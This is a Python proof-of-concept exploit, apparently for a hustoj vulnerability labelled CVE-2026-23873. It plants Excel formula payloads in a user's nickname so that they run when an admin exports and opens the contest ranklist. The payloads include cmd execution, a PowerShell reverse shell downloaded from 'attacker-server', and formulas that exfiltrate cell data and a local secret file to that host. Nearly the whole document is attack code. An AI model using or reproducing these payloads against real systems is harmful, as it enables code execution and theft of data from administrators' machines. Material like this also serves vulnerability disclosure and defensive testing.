CVE-2026-23873 hustoj CSV注入漏洞导致远程代码执行

# CVE-2026-23873 PoC - CSV Injection in hustoj # Attack Vector: Set malicious nickname to execute commands when admin exports ranklist import requests import json # Target configuration TARGET_URL = "http://target-host/judge" USERNAME = "attacker" PASSWORD = "attacker123" # Malicious payloads for Excel formula injection PAYLOADS = [ # Command execution payload (for Windows) "=cmd|' /C calc'!A0", # Data exfiltration payload "=HYPERLINK(\"http://attacker-server/steal?data=\"&A1,\"Click\")", # PowerShell reverse shell "=cmd|' /C powershell -c \"IEX(New-Object Net.WebClient).DownloadString('http://attacker-server/shell.ps1')\"'!A0", # File read and exfiltrate "=WEBSERVICE(\"http://attacker-server/read?file=C:\\Users\\admin\\Documents\\secret.txt\")" ] def login(): """Login to hustoj and get session""" session = requests.Session() login_url = f"{TARGET_URL}/login.php" data = { "user_id": USERNAME, "password": PASSWORD } session.post(login_url, data=data) return session def inject_payload(session, payload): """Update user nickname with malicious formula""" profile_url = f"{TARGET_URL}/userinfo.php" data = { "nick": payload, # Nickname field vulnerable to injection "submit": "1" } response = session.post(profile_url, data=data) return response.status_code == 200 def trigger_admin_export(session): """Simulate admin exporting ranklist (requires admin privileges)""" export_url = f"{TARGET_URL}/admin/ranklist_export.php" params = { "contest_id": "1", "format": "xls" } response = session.get(export_url, params=params) # The exported .xls file will contain the malicious formula return response.content def main(): print("[*] CVE-2026-23873: hustoj CSV Injection PoC") print("[*] Target: " + TARGET_URL) # Step 1: Login as regular user print("\n[1] Logging in as attacker...") session = login() # Step 2: Inject malicious formula into nickname print("[2] Injecting malicious Excel formula into nickname...") for payload in PAYLOADS: print(f" Payload: {payload}") inject_payload(session, payload) print("\n[3] Malicious nickname set successfully") print("[4] Wait for admin to export ranklist and open in Excel") print("[5] Formula will be executed when Excel opens the file") # Note: The actual exploitation requires admin interaction print("\n[*] PoC demonstration complete") print("[*] Real attack requires:") print(" 1. Admin exports ranklist to .xls") print(" 2. Admin opens the .xls file in Microsoft Excel") print(" 3. Excel executes the injected formula") if __name__ == "__main__": main()